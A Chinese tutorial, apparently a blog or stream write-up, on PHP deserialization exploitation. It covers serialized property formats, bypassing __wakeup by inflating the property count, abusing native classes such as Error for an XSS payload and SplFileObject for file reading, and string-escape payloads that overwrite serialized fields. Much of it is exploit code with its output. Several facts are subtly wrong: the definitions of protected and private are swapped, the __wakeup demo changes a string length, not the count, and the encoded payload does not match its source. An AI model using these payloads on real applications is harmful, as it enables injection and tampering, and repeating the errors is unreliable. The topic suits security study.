属性类型特征
对象变量属性:
public:公有类型、全局,类的内部和外部都可以访问
protected:私有类 只有当前类的内部可以访问
private:受保护的类 只有当前类或者父类可以访问
对应序列化数据后显示:
public:属性序列化后格式是正常成员名
protected:属性序列化后格式是%00*%00成员名
private:属性序列化后格式是%00类名%00成员名
案例:
<?php
class Demo {
public $name = "Miren";
protected $age = 18;
private $sex = '男';
}
$a = new Demo();
$b = serialize($a);
print_r($b);
输出:
O:4:”Demo”:3:{s:4:”name”;s:5:”Miren”;s:6:”*age”;i:18;s:9:”Demosex”;s:3:”男”;}
此处public类型的name显示s:5,protected类型的age显示为s:6故包含%00*%00,private类型的sex显示为s:9故包含%00类名%00成员名
__wakeup()绕过
反序列化过程中,先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行就会被跳过。
案例:
<?php
class test
{
public $a='niubi';
public function __wakeup()
{
echo $this->a='hacker!';
}
public function __destruct()
{
echo $this->a;
}
}
$a='O:4:"test":1:{s:1:"a";s:5:"niubi";}';
$b=unserialize($a);
?>
正常执行后输出
hacker!hacker!
当把
O:4:”test”:1:{s:1:”a”;s:5:”niubi”;}修改为O:4:”test”:1:{s:1:”a”;s:6:”niubi”;}的时候成功输出niubi
序列化字符串中表示对象属性个数的值大于真实的属性个数会绕过__wakeup()
原生类
PHP原生类就是在标准PHP库中已经封装好的类,在没有可以利用的反序列化类的时候需要使用PHP原生类进行下一步。
常见原生类:
- Error
- Exception
- SoapClient
- DirectoryIterator
- SimpleXMLElement
获取常见魔术方法原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
Error类案例:
/* PHP官网类摘要 */
class Error implements Throwable {
/* 属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}
此处包含__toString方法构造一个例子
<?php
$a = unserialize($_GET['a']);
echo $a;
?>
构造POP原生类调用Error
<?php
$a = new Error("<script>alert('xss被触发')</script>");
$b = serialize($a);
echo urlencode($b);
?>
运行后输出:
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22%2Fxp%2Fwww%2F192.168.9.252%2Fpop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
给a传入后网页出现弹窗
Exception同理将new Error改为new Exception
SoapClient类案例
/* PHP官网类摘要 */
class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
//ysl.php
<?php
$dir=new SplFileObject("D:\\phpstudy_pro\\WWW\\ysl.php");
echo $dir;
?>
输出
//ysl.php //ysl.php
可直接读取文件的第一行
tips:SplFileObject默认的是单行读取模式,需要配合循环进行遍历读取
字符串逃逸
在PHP反序列化中是以;}标记结束,;是作为字段的分割
例如:
O:4:"user":2:{s:4:"name";s:5:"miren";s:3:"age";s:2:"20";}abcd
此处的abcd就不会被反序列化成功
O:4:"user":2:{s:4:"name";s:5:"miren2394";s:3:"age";s:2:"20";}
此处长度不对应也会出现报错反序列化失败
增加案例:
<?php
function filter($string){
return preg_replace('/m/','WW',$string);
}
$username = 'miren';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<br>";
$f = filter(serialize($user));
var_dump($f);
echo "<br>";
var_dump(unserialize($f));
?>
输出:
string(35) "a:2:{i:0;s:5:"miren";i:1;s:2:"10";}"
string(36) "a:2:{i:0;s:5:"WWiren";i:1;s:2:"10";}"
bool(false)
filter会将m替换成WW,现在我如果要修改age为20,此处m会被替换成WW增加了一个字符,看此处”;i:1;s:2:”20″;}为16个字符也就是说需要输入16个m在拼接上”;i:1;s:2:”10″;}可以在过滤后将32个W填充,然后替换掉age,payload为:mmmmmmmmmmmmmmmm”;i:1;s:2:”20″;}
输出
string(63) "a:2:{i:0;s:32:"mmmmmmmmmmmmmmmm";i:1;s:2:"20";}";i:1;s:2:"10";}"
string(79) "a:2:{i:0;s:32:"WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW";i:1;s:2:"20";}";i:1;s:2:"10";}"
array(2) { [0]=> string(32) "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" [1]=> string(2) "20" }
此处的age成功替换为20
减少案例:
<?php
function filter($string){
return preg_replace('/mm/','W',$string);
}
$username = 'mmiren';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<br>";
$f = filter(serialize($user));
var_dump($f);
echo "<br>";
var_dump(unserialize($f));
?>
输出:
string(36) "a:2:{i:0;s:6:"mmiren";i:1;s:2:"10";}"
string(35) "a:2:{i:0;s:6:"Wiren";i:1;s:2:"10";}"
bool(false)
此处的mm会被替换成W,减少了一位,此处要是进行逃逸修改age为20,第一步先将”;i:1;s:2:”10″;}传入给age输出:
string(47) "a:2:{i:0;s:2:"mm";i:1;s:16:"";i:1;s:2:"20";}";}"
string(46) "a:2:{i:0;s:2:"W";i:1;s:16:"";i:1;s:2:"20";}";}"
bool(false)
其中这一段”;i:1;s:16:”为12个字符,此处应该传入12*2个m让”;i:1;s:16:”反序列化部分解析为username的部分然后将age解析为20
$username = 'mmmmmmmmmmmmmmmmmmmmmmmm';
$age = '";i:1;s:2:"20";}';
输出为
string(70) "a:2:{i:0;s:24:"mmmmmmmmmmmmmmmmmmmmmmmm";i:1;s:16:"";i:1;s:2:"20";}";}"
string(58) "a:2:{i:0;s:24:"WWWWWWWWWWWW";i:1;s:16:"";i:1;s:2:"20";}";}"
array(2) { [0]=> string(24) "WWWWWWWWWWWW";i:1;s:16:"" [1]=> string(2) "20" }
因为字符减少会让后面的往前补位则需要保持闭合状态还有s:length:”data”的正确格式,需要补全补位的字符
哇哇哇 主播好牛